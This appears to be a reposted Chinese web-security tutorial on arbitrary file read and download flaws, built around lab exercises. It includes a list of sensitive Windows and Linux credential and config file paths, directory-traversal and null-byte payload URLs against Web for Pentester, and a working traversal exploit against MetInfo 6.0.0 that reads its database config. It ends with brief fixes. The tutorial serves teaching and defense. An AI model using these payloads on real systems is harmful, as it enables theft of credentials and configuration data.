[紅日安全]Web安全Day9 - 文件下載漏洞實戰攻防


本文由紅日安全成員: Once 編寫,如有不當,還望斧正。

大家好,我們是紅日安全-Web安全攻防小組。此項目是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個項目起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分為PHP靶場、JAVA靶場、Python靶場基本上三種靶場全部涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),如果對大家有幫助請Star鼓勵我們創作更好文章。如果你願意加入我們,一起完善這個項目,歡迎通過郵件形式(sec-redclub@qq.com)聯系我們。

1.1 任意文件讀取下載漏洞簡介

一些網站由於業務需求,可能提供文件查看或下載功能。如果對用戶查看或下載的文件不做限制,則惡意用戶能夠查看或下載任意文件,可以是源代碼文件、敏感文件等。

1.2 任意文件讀取下載漏洞危害

攻擊者可以讀取下載服務器中的配置文件、敏感文件等,會提供攻擊者更多可用信息,提高被入侵的風險。

1.3 任意文件讀取下載漏洞利用條件

  1. 存在讀文件的函數
  2. 讀取文件的路徑用戶可控且未校驗或校驗不嚴
  3. 輸出了文件內容
  4. 任意文件讀取下載漏洞測試
    ## 2.1測試思路
  5. 尋找讀取或下載文件的功能點,跳躍目錄獲取敏感文件
  6. 有的限制目錄不嚴格,只對部分目錄限制,可以嘗試用其他敏感文件路徑,常見敏感文件路徑如下:
    Windows:
    C:\boot.ini  //查看系統版本
    C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
    C:\Windows\repair\sam  //存儲系統初次安裝的密碼
    C:\Program Files\mysql\my.ini  //Mysql配置
    C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
    C:\Windows\php.ini  //php配置信息
    C:\Windows\my.ini  //Mysql配置信息
    ...
    Linux:
    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts
    /etc/passwd
    /etc/shadow
    /etc/my.cnf
    /etc/httpd/conf/httpd.conf
    /root/.bash_history
    /root/.mysql_history
    /proc/self/fd/fd[0-9]*(文件標識符)
    /proc/mounts
    /porc/config.gz

2.2 靶機測試

這里我們使用web for pentester進行測試

2.2.1 安裝步驟

下載地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
我們只需要VMware安裝鏡像文件即可使用
新建虛擬機

默認下一步

選擇鏡像文件

設置虛擬機名稱和存放位置

磁盤大小默認即可

開啟此虛擬機

查看ip地址

搭建成功,這里用Directory traversal做演示

2.2.2 Example 1

從代碼里看出未作限制,直接讀取文件

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

使用../來跳躍目錄讀取敏感文件,我們這里讀取passwd文件
http://192.168.163.141/dirtrav/example1.php?file=../../../etc/passwd

2.2.3 Example 2

從代碼里可以看出,路徑必須存在/var/www/files/

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
    die();

if (!is_file($file))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($file) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($file));

$handle = fopen($file, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

http://192.168.163.141/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd

2.2.4 Example 3

從代碼可以看出過濾空字符及以后的字符。

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

http://192.168.163.141/dirtrav/example3.php?file=../../../etc/passwd%00

2.3 CMS實戰演練

這里選的是MetInfo cms進行任意文件讀取漏洞演示

2.3.1 安裝步驟

下載地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
漏洞環境:phpstudy、windows
存在漏洞:任意文件讀取
解壓好后,下一步下一步的安裝,配置數據庫、管理員信息。


安裝完成

2.3.2 利用過程

漏洞點在:MetInfo6.0.0/include/thumb.php?dir=
漏洞代碼文件位置:MetInfo6.0.0\app\system\include\module\old_thumb.class.php
有兩次過濾,第一次把路徑中../、./進行過濾,第二次路徑中需要有http和不能存在./,

$dir = str_replace(array('../','./'), '', $_GET['dir']);


if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
    header("Content-type: image/jpeg");
    ob_start();
    readfile($dir);
    ob_flush();
    flush();
    die;
}

在windows環境下可以使用..\進行繞過
http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php

 

  1. 漏洞修復方案

1、對./、../、、..\%進行過濾
2、嚴格控制可讀取或下載的文件路徑

  1. 參考文章

https://www.jianshu.com/p/f4b06f59c4cb
https://www.freebuf.com/vuls/181698.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM